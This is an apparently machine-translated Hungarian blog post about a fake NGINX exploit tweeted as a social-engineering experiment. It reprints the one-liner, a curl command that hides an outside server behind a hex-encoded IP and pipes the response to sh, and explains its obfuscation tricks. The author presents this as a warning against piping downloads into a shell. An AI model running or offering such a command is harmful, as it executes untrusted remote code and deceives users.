Egy hamis nginx kihasználással végzett társadalmi kísérlet sikere

Jegyzet. ford.: Szerző június 1-jén megjelent eredeti feljegyzés úgy döntött, hogy kísérletet hajt végre az információbiztonság iránt érdeklődők körében. Ennek érdekében készített egy hamis kihasználást a webszerver egy ismeretlen sebezhetőségére, és közzétette a Twitterén. Feltételezései – hogy azonnal leleplezzék azokat a szakemberek, akik látják a kódban a nyilvánvaló megtévesztést – nemhogy nem váltak valóra... Minden várakozást felülmúltak, és éppen ellenkező irányban: a tweet hatalmas támogatást kapott számos embertől, akik nem. ellenőrizze a tartalmát.

Egy hamis nginx kihasználással végzett társadalmi kísérlet sikere

TL;DR: Semmilyen körülmények között ne használjon fájlfolyamatokat sh vagy bash nyelven. Ez egy nagyszerű módja annak, hogy elveszítse az uralmat a számítógépe felett.

Szeretnék megosztani veletek egy rövid történetet egy komikus PoC exploitról, amely május 31-én készült. Azonnal megjelent a hírre reagálva Alisa Esage Sevcsenko, tag Nulladik napi kezdeményezés (ZDI), hogy az NGINX egy RCE-hez (távoli kódfuttatáshoz) vezető sebezhetőségéről szóló információkat hamarosan nyilvánosságra hozzák. Mivel az NGINX számos webhelyet működtet, a hír biztosan bomba volt. De a „felelősségteljes nyilvánosságra hozatal” folyamatának késése miatt a történtek részletei nem voltak ismertek – ez a szokásos ZDI eljárás.

Egy hamis nginx kihasználással végzett társadalmi kísérlet sikere
csipog az NGINX sebezhetőségének feltárásáról

Miután befejeztem a curl-ben egy új obfuszkációs technikán való munkát, idéztem az eredeti tweetet, és „kiszivárogtattam egy működő PoC-t”, amely egyetlen kódsorból állt, amely állítólag kihasználja a felfedezett sebezhetőséget. Persze ez teljes hülyeség volt. Feltételeztem, hogy azonnal lelepleznek, és legjobb esetben is kapok pár retweetet (na jó).

Egy hamis nginx kihasználással végzett társadalmi kísérlet sikere
csipog hamis kihasználással

Azt azonban nem tudtam elképzelni, mi történt ezután. Tweetem népszerűsége az egekbe szökött. Meglepő módon jelenleg (moszkvai idő szerint június 15. 00:1) kevesen vették észre, hogy ez hamisítvány. Sokan úgy újratweetelnek, hogy egyáltalán nem ellenőrizték (nem beszélve arról, hogy csodálják a gyönyörű ASCII grafikát, amit kiad).

Egy hamis nginx kihasználással végzett társadalmi kísérlet sikere
Nézd csak, milyen szép!

Bár ezek a hurkok és színek nagyszerűek, egyértelmű, hogy az embereknek kódot kellett futtatniuk a gépükön, hogy láthassák őket. Szerencsére a böngészők ugyanúgy működnek, és azzal a ténnyel együtt, hogy nem igazán akartam jogi bajba keveredni, a webhelyembe temetett kód csak visszhanghívásokat indított anélkül, hogy megpróbált volna további kódot telepíteni vagy végrehajtani.

Kis kitérő: netspooky, DNZ, én és a többi srác a csapatból Thugcrowd Már egy ideje különböző módszerekkel játszunk, hogy elhomályosítsuk a curl parancsokat, mert ez klassz... és geekek vagyunk. A netspooky és a dnz számos új módszert fedezett fel, amelyek számomra rendkívül ígéretesnek tűntek. Csatlakoztam a mulatsághoz, és megpróbáltam IP decimális konverziókat hozzáadni a trükkök zsákjához. Kiderült, hogy az IP hexadecimális formátumba is konvertálható. Ráadásul a curl és a legtöbb egyéb NIX eszköz boldogan eszik a hexadecimális IP-címeket! Tehát csak egy meggyőző és biztonságosnak tűnő parancssor létrehozásáról volt szó. Végül erre döntöttem:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Társadalmi-elektronikus tervezés (SEE) – több, mint adathalászat

A biztonság és az ismertség volt ennek a kísérletnek a fő része. Azt hiszem, ezek vezettek a sikeréhez. A parancssor egyértelműen a biztonságra utalt a "127.0.0.1"-re (a jól ismert localhostra) hivatkozva. A Localhost biztonságosnak tekinthető, és a rajta lévő adatok soha nem hagyják el a számítógépet.

Az ismertség volt a kísérlet második kulcsfontosságú SEE összetevője. Mivel a célközönség elsősorban a számítógépes biztonság alapjait ismerő emberekből állt, fontos volt, hogy a kódot úgy hozzuk létre, hogy annak egyes részei ismerősnek és ismerősnek (tehát biztonságosnak) tűnjenek. A régi exploit fogalmak elemeinek kölcsönzése és szokatlan módon kombinálása nagyon sikeresnek bizonyult.

Az alábbiakban az egysoros részletes elemzése olvasható. Ezen a listán minden visel kozmetikai jellegű, és gyakorlatilag semmi sem szükséges a tényleges működéséhez.

Milyen összetevőkre van igazán szükség? Ez -gsS, -O 0x0238f06a, |sh és magát a webszervert. A webszerver nem tartalmazott rosszindulatú utasításokat, egyszerűen parancsok segítségével szolgálta ki az ASCII grafikát echo -ban található forgatókönyvben index.html. Amikor a felhasználó beírt egy sort a |sh középen, index.html betöltve és végrehajtva. Szerencsére a webszerver őrzőinek nem voltak rossz szándékai.

  • ../../../%00 — a címtáron túlmutatót jelöl;
  • ngx_stream_module.so — egy véletlenszerű NGINX modul elérési útja;
  • /bin/sh%00<'protocol:TCP' - állítólag indulunk /bin/sh a célgépen, és irányítsa át a kimenetet a TCP-csatornára;
  • -O 0x0238f06a#PLToffset - titkos összetevő, kiegészítve #PLToffset, hogy úgy nézzen ki, mint egy memóriaeltolás, amelyet a PLT valamilyen módon tartalmaz;
  • |sh; - egy másik fontos töredék. Át kellett irányítanunk a kimenetet az sh/bash-re, hogy végrehajthassuk a támadó webszerverről érkező kódot. 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost - egy dummy, amelyben a netcat utal /dev/tcp/localhosthogy minden újra biztonságosnak tűnjön. Valójában nem csinál semmit, és benne van a szépség sorban.

Ezzel véget ért az egysoros szkript dekódolása és a „társadalmi-elektronikus tervezés” (bonyolult adathalászat) szempontjainak megvitatása.

Webszerver konfigurációja és ellenintézkedések

Mivel az előfizetőim túlnyomó többsége infosec/hacker, úgy döntöttem, hogy a webszervert egy kicsit ellenállóbbá teszem a részükről érkező „érdeklődés” kifejezésekkel szemben, csak hogy a srácoknak legyen mit csinálni (és jó móka lenne beállít). Nem fogom itt felsorolni az összes buktatót, mivel a kísérlet még folyamatban van, de itt van néhány dolog, amit a szerver megtesz:

  • Aktívan figyeli a terjesztési kísérleteket bizonyos közösségi hálózatokon, és különféle előnézeti miniatűröket helyettesít, hogy a felhasználót a hivatkozásra való kattintásra ösztönözze.
  • Átirányítja a Chrome-ot/Mozilla-t/Safarit/etc-t a Thugcrowd promóciós videóra a shell-szkript megjelenítése helyett.
  • Figyeli a behatolás/nyilvánvaló hackelés NYILVÁNOS jeleit, majd elkezdi átirányítani a kéréseket az NSA-kiszolgálókra (ha!).
  • Telepít egy trójai programot, valamint egy BIOS-rootkitet minden olyan számítógépre, amelyen a felhasználók normál böngészőből keresik fel a gazdagépet (csak vicceltem!).

Egy hamis nginx kihasználással végzett társadalmi kísérlet sikere
Az antimerek kis része

Ebben az esetben az egyetlen célom az volt, hogy elsajátítsam az Apache néhány funkcióját - különösen a kérések átirányításának klassz szabályait -, és arra gondoltam: miért ne?

NGINX Exploit (valódi!)

Feliratkozás a @alisaesage a Twitteren, és kövesse a ZDI nagyszerű munkáját az NGINX nagyon valós sebezhetőségeinek kezelésében és a lehetőségek kihasználásában. Munkájuk mindig is lenyűgözött, és hálás vagyok Alice-nek, amiért türelmes volt minden említéssel és értesítéssel kapcsolatban, amit az én hülye tweetem okozott. Szerencsére jót is tett: segített felhívni a figyelmet az NGINX sebezhetőségeire, valamint a göndörítéssel való visszaélés okozta problémákra.

Forrás: will.com

Hozzászólás